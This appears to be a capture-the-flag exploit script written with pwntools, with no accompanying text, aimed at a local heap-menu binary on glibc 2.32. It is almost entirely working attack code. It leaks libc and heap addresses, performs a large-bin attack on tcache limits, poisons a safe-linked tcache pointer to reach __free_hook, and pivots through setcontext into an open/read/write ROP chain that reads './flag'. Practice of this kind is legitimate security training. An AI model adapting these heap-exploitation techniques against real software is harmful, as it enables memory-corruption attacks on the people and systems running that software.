1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug'
def add(index,size): p.sendlineafter(b'>',b'1') p.sendlineafter(b'Index: ',str(index).encode()) p.sendlineafter(b'Size: ',str(size).encode()) def delete(index): p.sendlineafter(b'>',b'2') p.sendlineafter(b'Index: ',str(index).encode()) def edit(index,content): p.sendlineafter(b'>',b'3') p.sendlineafter(b'Index: ',str(index).encode()) p.sendafter(b'Content: ',content) def show(index): p.sendlineafter(b'>',b'4') p.sendlineafter(b'Index: ',str(index).encode()) def pack(pos, ptr): return (pos >> 12) ^ ptr
p=process('./context')
libc=ELF('./2.32-0ubuntu3.2_amd64/libc-2.32.so')
add(0,0x510) add(1,0x510) add(2,0x500) add(3,0x500) delete(0) edit(0,b'a') show(0) s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00') libcbase=u64(s)-0x70-libc.symbols['__malloc_hook']-0x61 print(hex(libcbase)) tcache_max_bin=libcbase+0x1e3280+80 print(hex(tcache_max_bin)) edit(0,b'\x00') add(4,0x600) delete(2) show(0) pad1=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) print(hex(pad1)) edit(0,p64(pad1)+b'\x00'*0x10+p64(tcache_max_bin-0x20)) add(5,0x600) delete(5) show(5) s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00') heap=(u64(s)<<12)-0x1000 print(hex(heap)) free_hook=libcbase+libc.symbols['__free_hook'] system_addr=libcbase+libc.symbols['system'] add(6,0x610) add(7,0x610) delete(7) delete(6) edit(6,p64(pack(heap+0x2930,free_hook))) add(8,0x610) add(9,0x610)
rdx_addr=libcbase+0x14b760 ret_addr=libcbase+0x26699 set_context_addr=libcbase+0x5306d open_addr=libcbase+libc.symbols['open'] read_addr=libcbase+libc.symbols['read'] write_addr=libcbase+libc.symbols['write'] pop_rdi_addr=libcbase+0x2858f pop_rsi_addr=libcbase+0x2ac3f pop_rdx_r12_addr=libcbase+0x114161 payload=b'./flag\x00\x00'+p64(heap+0x2310+0x18)+0x18*b'\x00'+p64(set_context_addr) payload+=(0xa8-0x30)*b'\x00'+p64(heap+0x2310+0x100)+p64(ret_addr) payload+=(0x100-0xb0-0x18)*b'\x00' payload+=p64(pop_rdi_addr)+p64(heap+0x2320)+p64(pop_rsi_addr)+p64(0)+p64(open_addr) payload+=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_addr)+p64(heap+0x2310)+p64(pop_rdx_r12_addr)+p64(0x30)+p64(0)+p64(read_addr) payload+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(heap+0x2310)+p64(pop_rdx_r12_addr)+p64(0x30)+p64(0)+p64(write_addr) gdb.attach(p) edit(9,p64(rdx_addr)) edit(8,payload) delete(8) print(p.recv())
|